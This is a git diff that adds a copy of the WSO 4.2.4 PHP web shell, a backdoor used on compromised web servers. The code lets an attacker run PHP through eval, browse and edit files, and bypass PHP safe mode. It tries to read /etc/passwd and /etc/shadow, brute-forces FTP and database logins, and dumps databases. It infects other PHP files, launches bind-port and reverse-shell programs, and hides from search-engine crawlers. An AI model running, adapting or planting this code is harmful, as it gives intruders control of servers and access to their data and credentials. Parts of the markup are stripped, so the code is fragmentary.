diff --git a/php/wso/wso-4.2.4.php b/php/wso/wso-4.2.4.php
new file mode 100644
index 0000000..42eb80b
--- /dev/null
+++ b/php/wso/wso-4.2.4.php
@@ -0,0 +1,1628 @@
+=strlen($str))break;}}return base64_decode($enc_str);}
+@ini_set('error_log',NULL);
+@ini_set('log_errors',0);
+@ini_set('max_execution_time',0);
+@set_time_limit(0);
+@set_magic_quotes_runtime(0);
+@define('VERSION', '4.2.4');
+if(get_magic_quotes_gpc()) {
+ function stripslashes_array($array) {
+ return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
+ }
+ $_POST = stripslashes_array($_POST);
+ $_COOKIE = stripslashes_array($_COOKIE);
+}
+/* (С) 11.2011 oRb */
+if(!empty($▛)) {
+ if(isset($_POST['pass']) && (md5($_POST['pass']) == $▛))
+ prototype(md5($_SERVER['HTTP_HOST']), $▛);
+ if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $▛))
+ hardLogin();
+}
+if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
+ $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$▘;
+
+function hardLogin() {
+ if(!empty($_SERVER['HTTP_USER_AGENT'])) {
+ $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
+ if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
+ header('HTTP/1.0 404 Not Found');
+ exit;
+ }
+ }
+ die("");
+}
+if(strtolower(substr(PHP_OS,0,3)) == "win")
+ $os = 'win';
+else
+ $os = 'nix';
+$safe_mode = @ini_get('safe_mode');
+if(!$safe_mode)
+ error_reporting(0);
+$disable_functions = @ini_get('disable_functions');
+$home_cwd = @getcwd();
+if(isset($_POST['c']))
+ @chdir($_POST['c']);
+$cwd = @getcwd();
+if($os == 'win') {
+ $home_cwd = str_replace("\\", "/", $home_cwd);
+ $cwd = str_replace("\\", "/", $cwd);
+}
+if($cwd[strlen($cwd)-1] != '/')
+ $cwd .= '/';
+/* (С) 04.2015 Pirat */
+function hardHeader() {
+ if(empty($_POST['charset']))
+ $_POST['charset'] = $GLOBALS['▜'];
+ echo "" . $_SERVER['HTTP_HOST'] . " - WSO " . VERSION ."
+
+
+
+
";
+ $freeSpace = @diskfreespace($GLOBALS['cwd']);
+ $totalSpace = @disk_total_space($GLOBALS['cwd']);
+ $totalSpace = $totalSpace?$totalSpace:1;
+ $release = @php_uname('r');
+ $kernel = @php_uname('s');
+ $explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';
+ if(strpos('Linux', $kernel) !== false)
+ $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
+ else
+ $explink .= urlencode($kernel . ' ' . substr($release,0,3));
+ if(!function_exists('posix_getegid')) {
+ $user = @get_current_user();
+ $uid = @getmyuid();
+ $gid = @getmygid();
+ $group = "?";
+ } else {
+ $uid = @posix_getpwuid(@posix_geteuid());
+ $gid = @posix_getgrgid(@posix_getegid());
+ $user = $uid['name'];
+ $uid = $uid['uid'];
+ $group = $gid['name'];
+ $gid = $gid['gid'];
+ }
+ $cwd_links = '';
+ $path = explode("/", $GLOBALS['cwd']);
+ $n=count($path);
+ for($i=0; $i<$n-1; $i++) {
+ $cwd_links .= "
".$path[$i]."/";
+ }
+ $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
+ $opt_charsets = '';
+ foreach($charsets as $▟)
+ $opt_charsets .= '
';
+ $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
+ if(!empty($GLOBALS['▛']))
+ $m['Logout'] = 'Logout';
+ $m['Self remove'] = 'SelfRemove';
+ $menu = '';
+ foreach($m as $k => $v)
+ $menu .= '
[ '.$k.' ] | ';
+ $drives = "";
+ if ($GLOBALS['os'] == 'win') {
+ foreach(range('c','z') as $drive)
+ if (is_dir($drive.':\\'))
+ $drives .= '
[ '.$drive.' ] ';
+ }
+ /* (С) 08.2015 dmkcv */
+ echo '
Uname:
User:
Php:
Hdd:
Cwd:'.($GLOBALS['os'] == 'win'?'
Drives:':'').' | '.
+ ''.substr(@php_uname(), 0, 120).' [ Google ] [ Exploit-DB ]
'.$uid.' ( '.$user.' ) Group: '.$gid.' ( ' .$group. ' )
'.@phpversion().' Safe mode: '.($GLOBALS['safe_mode']?'ON':'OFF').' [ phpinfo ] Datetime: '.date('Y-m-d H:i:s').'
'.viewSize($totalSpace).' Free: '.viewSize($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)
'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' [ home ]
'.$drives.' | '.
+ '
Server IP:
'.gethostbyname($_SERVER["HTTP_HOST"]).'
Client IP:
'.$_SERVER['REMOTE_ADDR'].' |
'.
+ '
';
+}
+function hardFooter() {
+ $is_writable = is_writable($GLOBALS['cwd'])?" [ Writeable ]":" (Not writable)";
+ echo "
+
+
Server security information
';
+ function showSecParam($n, $v) {
+ $v = trim($v);
+ if($v) {
+ echo '
' . $n . ': ';
+ if(strpos($v, "\n") === false)
+ echo $v . '
';
+ else
+ echo '
' . $v . '
';
+ }
+ }
+ showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
+ if(function_exists('apache_get_modules'))
+ showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
+ showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
+ showSecParam('Open base dir', @ini_get('open_basedir'));
+ showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
+ showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
+ showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
+ $temp=array();
+ if(function_exists('mysql_get_client_info'))
+ $temp[] = "MySql (".mysql_get_client_info().")";
+ if(function_exists('mssql_connect'))
+ $temp[] = "MSSQL";
+ if(function_exists('pg_connect'))
+ $temp[] = "PostgreSQL";
+ if(function_exists('oci_connect'))
+ $temp[] = "Oracle";
+ showSecParam('Supported databases', implode(', ', $temp));
+ echo '
';
+ if($GLOBALS['os'] == 'nix') {
+ showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes
[view]":'no');
+ showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes
[view]":'no');
+ showSecParam('OS version', @file_get_contents('/proc/version'));
+ showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
+ if(!$GLOBALS['safe_mode']) {
+ $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
+ $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
+ $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
+ echo '
';
+ $temp=array();
+ foreach ($userful as $▟)
+ if(which($▟))
+ $temp[] = $▟;
+ showSecParam('Userful', implode(', ',$temp));
+ $temp=array();
+ foreach ($danger as $▟)
+ if(which($▟))
+ $temp[] = $▟;
+ showSecParam('Danger', implode(', ',$temp));
+ $temp=array();
+ foreach ($downloaders as $▟)
+ if(which($▟))
+ $temp[] = $▟;
+ showSecParam('Downloaders', implode(', ',$temp));
+ echo '
';
+ showSecParam('HDD space', ex('df -h'));
+ showSecParam('Hosts', @file_get_contents('/etc/hosts'));
+ showSecParam('Mount options', @file_get_contents('/etc/fstab'));
+ }
+ } else {
+ showSecParam('OS Version',ex('ver'));
+ showSecParam('Account Settings', iconv('CP866', 'UTF-8',ex('net accounts')));
+ showSecParam('User Accounts', iconv('CP866', 'UTF-8',ex('net user')));
+ }
+ echo '
File tools
';
+ if( !file_exists(@$_POST['p1']) ) {
+ echo 'File not exists';
+ hardFooter();
+ return;
+ }
+ $uid = @posix_getpwuid(@fileowner($_POST['p1']));
+ if(!$uid) {
+ $uid['name'] = @fileowner($_POST['p1']);
+ $gid['name'] = @filegroup($_POST['p1']);
+ } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
+ echo '
Name: '.htmlspecialchars(@basename($_POST['p1'])).'
Size: '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').'
Permission: '.viewPermsColor($_POST['p1']).'
Owner/Group: '.$uid['name'].'/'.$gid['name'].'
';
+ echo '
Create time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).'
Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).'
Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'
';
+ if( empty($_POST['p2']) )
+ $_POST['p2'] = 'view';
+ if( is_file($_POST['p1']) )
+ $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
+ else
+ $m = array('Chmod', 'Rename', 'Touch');
+ foreach($m as $v)
+ echo '
'.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ]':$v).' ';
+ echo '
';
+ switch($_POST['p2']) {
+ case 'view':
+ echo '
';
+ $fp = @fopen($_POST['p1'], 'r');
+ if($fp) {
+ while( !@feof($fp) )
+ echo htmlspecialchars(@fread($fp, 1024));
+ @fclose($fp);
+ }
+ echo '';
+ break;
+ case 'highlight':
+ if( @is_readable($_POST['p1']) ) {
+ echo '
';
+ $oRb = @highlight_file($_POST['p1'],true);
+ echo str_replace(array(''), array(''),$oRb).'
';
+ }
+ break;
+ case 'chmod':
+ if( !empty($_POST['p3']) ) {
+ $perms = 0;
+ for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
+ $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
+ if(!@chmod($_POST['p1'], $perms))
+ echo 'Can\'t set permissions!
';
+ }
+ clearstatcache();
+ echo '
';
+ break;
+ case 'edit':
+ if( !is_writable($_POST['p1'])) {
+ echo 'File isn\'t writeable';
+ break;
+ }
+ if( !empty($_POST['p3']) ) {
+ $time = @filemtime($_POST['p1']);
+ $_POST['p3'] = substr($_POST['p3'],1);
+ $fp = @fopen($_POST['p1'],"w");
+ if($fp) {
+ @fwrite($fp,$_POST['p3']);
+ @fclose($fp);
+ echo 'Saved!
';
+ @touch($_POST['p1'],$time,$time);
+ }
+ }
+ echo '
';
+ break;
+ case 'hexdump':
+ $c = @file_get_contents($_POST['p1']);
+ $n = 0;
+ $h = array('00000000
','','');
+ $len = strlen($c);
+ for ($i=0; $i<$len; ++$i) {
+ $h[1] .= sprintf('%02X',ord($c[$i])).' ';
+ switch ( ord($c[$i]) ) {
+ case 0: $h[2] .= ' '; break;
+ case 9: $h[2] .= ' '; break;
+ case 10: $h[2] .= ' '; break;
+ case 13: $h[2] .= ' '; break;
+ default: $h[2] .= $c[$i]; break;
+ }
+ $n++;
+ if ($n == 32) {
+ $n = 0;
+ if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
';}
+ $h[1] .= '
';
+ $h[2] .= "\n";
+ }
+ }
+ echo '
'.$h[0].' | '.$h[1].' | '.htmlspecialchars($h[2]).' |
';
+ break;
+ case 'rename':
+ if( !empty($_POST['p3']) ) {
+ if(!@rename($_POST['p1'], $_POST['p3']))
+ echo 'Can\'t rename!
';
+ else
+ die('');
+ }
+ echo '
';
+ break;
+ case 'touch':
+ if( !empty($_POST['p3']) ) {
+ $time = strtotime($_POST['p3']);
+ if($time) {
+ if(!touch($_POST['p1'],$time,$time))
+ echo 'Fail!';
+ else
+ echo 'Touched!';
+ } else echo 'Bad time format!';
+ }
+ clearstatcache();
+ echo '
';
+ break;
+ /* (С) 12.2015 mitryz */
+ case 'frame':
+ $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
+ if ($frameSrc[0] != '/')
+ $frameSrc = '/' . $frameSrc;
+ if ($frameSrc[strlen($frameSrc) - 1] != '/')
+ $frameSrc = $frameSrc . '/';
+ $frameSrc = $frameSrc . htmlspecialchars($_POST['p1']);
+ echo '
';
+ break;
+ }
+ echo '
Console
';
+ hardFooter();
+}
+function actionPhp() {
+ if( isset($_POST['ajax']) ) {
+ $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
+ ob_start();
+ eval($_POST['p1']);
+ $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
+ echo strlen($temp), "\n", $temp;
+ exit;
+ }
+ hardHeader();
+ if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
+ echo 'PHP info
';
+ ob_start();
+ phpinfo();
+ $tmp = ob_get_clean();
+ $tmp = preg_replace('!body {.*}!msiU','',$tmp);
+ $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
+ $tmp = preg_replace('!h1!msiU','h2',$tmp);
+ $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
+ $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
+ echo $tmp;
+ echo '
';
+ }
+ if(empty($_POST['ajax'])&&!empty($_POST['p1']))
+ $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
+ echo 'Execution PHP-code
';
+ if(!empty($_POST['p1'])) {
+ ob_start();
+ eval($_POST['p1']);
+ echo htmlspecialchars(ob_get_clean());
+ }
+ echo 'File manager
';
+ $dirContent = hardScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
+ if($dirContent === false) { echo 'Can\'t open this folder!';hardFooter(); return; }
+ global $sort;
+ $sort = array('name', 1);
+ if(!empty($_POST['p1'])) {
+ if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
+ $sort = array($match[1], (int)$match[2]);
+ }
+echo "
+
String conversions
';
+ echo "
";
+ if(!empty($_POST['p1'])) {
+ if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
+ }
+ echo"
Search files:
+
";
+ function hardRecursiveGlob($path) {
+ if(substr($path, -1) != '/')
+ $path.='/';
+ $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
+ if(is_array($paths)&&@count($paths)) {
+ foreach($paths as $▟) {
+ if(@is_dir($▟)){
+ if($path!=$▟)
+ hardRecursiveGlob($▟);
+ } else {
+ if(empty($_POST['p2']) || @strpos(file_get_contents($▟), $_POST['p2'])!==false)
+ echo "
".htmlspecialchars($▟)."";
+ }
+ }
+ }
+ }
+ if(@$_POST['p3'])
+ hardRecursiveGlob($_POST['c']);
+ echo "
Search for hash:
+
";
+ hardFooter();
+}
+function actionSafeMode() {
+ $temp='';
+ ob_start();
+ switch($_POST['p1']) {
+ case 1:
+ $temp=@tempnam($test, 'cx');
+ if(@copy("compress.zlib://".$_POST['p2'], $temp)){
+ echo @file_get_contents($temp);
+ unlink($temp);
+ } else
+ echo 'Sorry... Can\'t open file';
+ break;
+ case 2:
+ $files = glob($_POST['p2'].'*');
+ if( is_array($files) )
+ foreach ($files as $filename)
+ echo $filename."\n";
+ break;
+ case 3:
+ $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
+ curl_exec($ch);
+ break;
+ case 4:
+ ini_restore("safe_mode");
+ ini_restore("open_basedir");
+ include($_POST['p2']);
+ break;
+ case 5:
+ for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
+ $uid = @posix_getpwuid($_POST['p2']);
+ if ($uid)
+ echo join(':',$uid)."\n";
+ }
+ break;
+ case 6:
+ if(!function_exists('imap_open'))break;
+ $stream = imap_open($_POST['p2'], "", "");
+ if ($stream == FALSE)
+ break;
+ echo imap_body($stream, 1);
+ imap_close($stream);
+ break;
+ }
+ $temp = ob_get_clean();
+ hardHeader();
+ echo 'Safe mode bypass
';
+ echo '
Copy (read file)Glob (list dir)Curl (read file)Ini_restore (read file)Posix_getpwuid ("Read" /etc/passwd)Imap_open (read file)';
+ if($temp)
+ echo '
'.$temp.'
';
+ echo '
Suicide
Really want to remove the shell?
YesInfect
';
+ if($_POST['p1'] == 'infect') {
+ $target=$_SERVER['DOCUMENT_ROOT'];
+ function ListFiles($dir) {
+ if($dh = opendir($dir)) {
+ $files = Array();
+ $inner_files = Array();
+ while($file = readdir($dh)) {
+ if($file != "." && $file != "..") {
+ if(is_dir($dir . "/" . $file)) {
+ $inner_files = ListFiles($dir . "/" . $file);
+ if(is_array($inner_files)) $files = array_merge($files, $inner_files);
+ } else {
+ array_push($files, $dir . "/" . $file);
+ }
+ }
+ }
+ closedir($dh);
+ return $files;
+ }
+ }
+ foreach (ListFiles($target) as $key=>$file){
+ $nFile = substr($file, -4, 4);
+ if($nFile == ".php" ){
+ if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
+ echo "$file
";
+ $i++;
+ }
+ }
+ }
+ echo "
$i";
+ }else{
+ echo "
";
+ echo 'Really want to infect the server?
YesResults
Type: '.htmlspecialchars($_POST['proto']).' Server: '.htmlspecialchars($_POST['server']).'
';
+ if( $_POST['proto'] == 'ftp' ) {
+ function bruteForce($ip,$port,$login,$pass) {
+ $fp = @ftp_connect($ip, $port?$port:21);
+ if(!$fp) return false;
+ $res = @ftp_login($fp, $login, $pass);
+ @ftp_close($fp);
+ return $res;
+ }
+ } elseif( $_POST['proto'] == 'mysql' ) {
+ function bruteForce($ip,$port,$login,$pass) {
+ $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
+ @mysql_close($res);
+ return $res;
+ }
+ } elseif( $_POST['proto'] == 'pgsql' ) {
+ function bruteForce($ip,$port,$login,$pass) {
+ $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
+ $res = @pg_connect($str);
+ @pg_close($res);
+ return $res;
+ }
+ }
+ $success = 0;
+ $attempts = 0;
+ $server = explode(":", $_POST['server']);
+ if($_POST['type'] == 1) {
+ $temp = @file('/etc/passwd');
+ if( is_array($temp) )
+ foreach($temp as $line) {
+ $line = explode(":", $line);
+ ++$attempts;
+ if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
+ $success++;
+ echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($line[0]).'
';
+ }
+ if(@$_POST['reverse']) {
+ $tmp = "";
+ for($i=strlen($line[0])-1; $i>=0; --$i)
+ $tmp .= $line[0][$i];
+ ++$attempts;
+ if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
+ $success++;
+ echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($tmp);
+ }
+ }
+ }
+ } elseif($_POST['type'] == 2) {
+ $temp = @file($_POST['dict']);
+ if( is_array($temp) )
+ foreach($temp as $line) {
+ $line = trim($line);
+ ++$attempts;
+ if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
+ $success++;
+ echo ''.htmlspecialchars($_POST['login']).':'.htmlspecialchars($line).'
';
+ }
+ }
+ }
+ echo "Attempts: $attempts Success: $success
";
+ }
+ echo 'FTP bruteforce
';
+ hardFooter();
+}
+function actionSql() {
+ class DbClass {
+ var $type;
+ var $link;
+ var $res;
+ function DbClass($type) {
+ $this->type = $type;
+ }
+ function connect($host, $user, $pass, $dbname){
+ switch($this->type) {
+ case 'mysql':
+ if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
+ break;
+ case 'pgsql':
+ $host = explode(':', $host);
+ if(!$host[1]) $host[1]=5432;
+ if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
+ break;
+ }
+ return false;
+ }
+ function selectdb($db) {
+ switch($this->type) {
+ case 'mysql':
+ if (@mysql_select_db($db))return true;
+ break;
+ }
+ return false;
+ }
+ function query($str) {
+ switch($this->type) {
+ case 'mysql':
+ return $this->res = @mysql_query($str);
+ break;
+ case 'pgsql':
+ return $this->res = @pg_query($this->link,$str);
+ break;
+ }
+ return false;
+ }
+ function fetch() {
+ $res = func_num_args()?func_get_arg(0):$this->res;
+ switch($this->type) {
+ case 'mysql':
+ return @mysql_fetch_assoc($res);
+ break;
+ case 'pgsql':
+ return @pg_fetch_assoc($res);
+ break;
+ }
+ return false;
+ }
+ function listDbs() {
+ switch($this->type) {
+ case 'mysql':
+ return $this->query("SHOW databases");
+ break;
+ case 'pgsql':
+ return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
+ break;
+ }
+ return false;
+ }
+ function listTables() {
+ switch($this->type) {
+ case 'mysql':
+ return $this->res = $this->query('SHOW TABLES');
+ break;
+ case 'pgsql':
+ return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
+ break;
+ }
+ return false;
+ }
+ function error() {
+ switch($this->type) {
+ case 'mysql':
+ return @mysql_error();
+ break;
+ case 'pgsql':
+ return @pg_last_error();
+ break;
+ }
+ return false;
+ }
+ function setCharset($str) {
+ switch($this->type) {
+ case 'mysql':
+ if(function_exists('mysql_set_charset'))
+ return @mysql_set_charset($str, $this->link);
+ else
+ $this->query('SET CHARSET '.$str);
+ break;
+ case 'pgsql':
+ return @pg_set_client_encoding($this->link, $str);
+ break;
+ }
+ return false;
+ }
+ function loadFile($str) {
+ switch($this->type) {
+ case 'mysql':
+ return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
+ break;
+ case 'pgsql':
+ $this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '".addslashes($str)."';select file from hard2;");
+ $r=array();
+ while($i=$this->fetch())
+ $r[] = $i['file'];
+ $this->query('drop table hard2');
+ return array('file'=>implode("\n",$r));
+ break;
+ }
+ return false;
+ }
+ function dump($table, $fp = false) {
+ switch($this->type) {
+ case 'mysql':
+ $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
+ $create = mysql_fetch_array($res);
+ $sql = $create[1].";\n";
+ if($fp) fwrite($fp, $sql); else echo($sql);
+ $this->query('SELECT * FROM `'.$table.'`');
+ $i = 0;
+ $head = true;
+ while($▟ = $this->fetch()) {
+ $sql = '';
+ if($i % 1000 == 0) {
+ $head = true;
+ $sql = ";\n\n";
+ }
+ $columns = array();
+ foreach($▟ as $k=>$v) {
+ if($v === null)
+ $▟[$k] = "NULL";
+ elseif(is_int($v))
+ $▟[$k] = $v;
+ else
+ $▟[$k] = "'".@mysql_real_escape_string($v)."'";
+ $columns[] = "`".$k."`";
+ }
+ if($head) {
+ $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $▟).')';
+ $head = false;
+ } else
+ $sql .= "\n\t,(".implode(", ", $▟).')';
+ if($fp) fwrite($fp, $sql); else echo($sql);
+ $i++;
+ }
+ if(!$head)
+ if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
+ break;
+ case 'pgsql':
+ $this->query('SELECT * FROM '.$table);
+ while($▟ = $this->fetch()) {
+ $columns = array();
+ foreach($▟ as $k=>$v) {
+ $▟[$k] = "'".addslashes($v)."'";
+ $columns[] = $k;
+ }
+ $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $▟).');'."\n";
+ if($fp) fwrite($fp, $sql); else echo($sql);
+ }
+ break;
+ }
+ return false;
+ }
+ };
+ $db = new DbClass($_POST['type']);
+ if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
+ $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
+ $db->selectdb($_POST['sql_base']);
+ switch($_POST['charset']) {
+ case "Windows-1251": $db->setCharset('cp1251'); break;
+ case "UTF-8": $db->setCharset('utf8'); break;
+ case "KOI8-R": $db->setCharset('koi8r'); break;
+ case "KOI8-U": $db->setCharset('koi8u'); break;
+ case "cp866": $db->setCharset('cp866'); break;
+ }
+ if(empty($_POST['file'])) {
+ ob_start("ob_gzhandler", 4096);
+ header("Content-Disposition: attachment; filename=dump.sql");
+ header("Content-Type: text/plain");
+ foreach($_POST['tbl'] as $v)
+ $db->dump($v);
+ exit;
+ } elseif($fp = @fopen($_POST['file'], 'w')) {
+ foreach($_POST['tbl'] as $v)
+ $db->dump($v, $fp);
+ fclose($fp);
+ unset($_POST['p2']);
+ } else
+ die('');
+ }
+ hardHeader();
+ echo "
+Sql browser
+
";
+ if($_POST['type']=='mysql') {
+ $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
+ if($db->fetch())
+ echo "
";
+ }
+ if(@$_POST['p1'] == 'loadfile') {
+ $file = $db->loadFile($_POST['p2']);
+ echo '
'.htmlspecialchars($file['file']).'
';
+ }
+ } else {
+ echo htmlspecialchars($db->error());
+ }
+ echo '
Network tools
+
+
";
+ if(isset($_POST['p1'])) {
+ function cf($f,$t) {
+ $w=@fopen($f,"w") or @function_exists('file_put_contents');
+ if($w) {
+ @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
+ @fclose($w);
+ }
+ }
+ if($_POST['p1'] == 'bpc') {
+ cf("/tmp/bp.c",$bind_port_c);
+ $▖ = ex("gcc -o /tmp/bp /tmp/bp.c");
+ @unlink("/tmp/bp.c");
+ $▖ .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
+ echo "
$▖".ex("ps aux | grep bp")."";
+ }
+ if($_POST['p1'] == 'bpp') {
+ cf("/tmp/bp.pl",$bind_port_p);
+ $▖ = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
+ echo "
$▖".ex("ps aux | grep bp.pl")."";
+ }
+ if($_POST['p1'] == 'bcc') {
+ cf("/tmp/bc.c",$back_connect_c);
+ $▖ = ex("gcc -o /tmp/bc /tmp/bc.c");
+ @unlink("/tmp/bc.c");
+ $▖ .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
+ echo "
$▖".ex("ps aux | grep bc")."";
+ }
+ if($_POST['p1'] == 'bcp') {
+ cf("/tmp/bc.pl",$back_connect_p);
+ $▖ = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
+ echo "
$▖".ex("ps aux | grep bc.pl")."";
+ }
+ }
+ echo '